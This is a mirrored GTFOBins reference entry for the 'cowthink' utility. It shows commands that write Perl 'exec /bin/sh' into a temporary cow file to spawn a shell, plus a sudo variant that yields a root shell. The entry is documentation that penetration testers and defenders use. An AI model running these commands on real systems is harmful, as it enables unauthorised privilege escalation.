mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
15 lines
327 B
Markdown
15 lines
327 B
Markdown
|
---
|
||
|
description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
|
||
|
functions:
|
||
|
shell:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo 'exec "/bin/sh";' >$TF
|
||
|
cowthink -f $TF x
|
||
|
sudo:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo 'exec "/bin/sh";' >$TF
|
||
|
sudo cowthink -f $TF x
|
||
|
---
|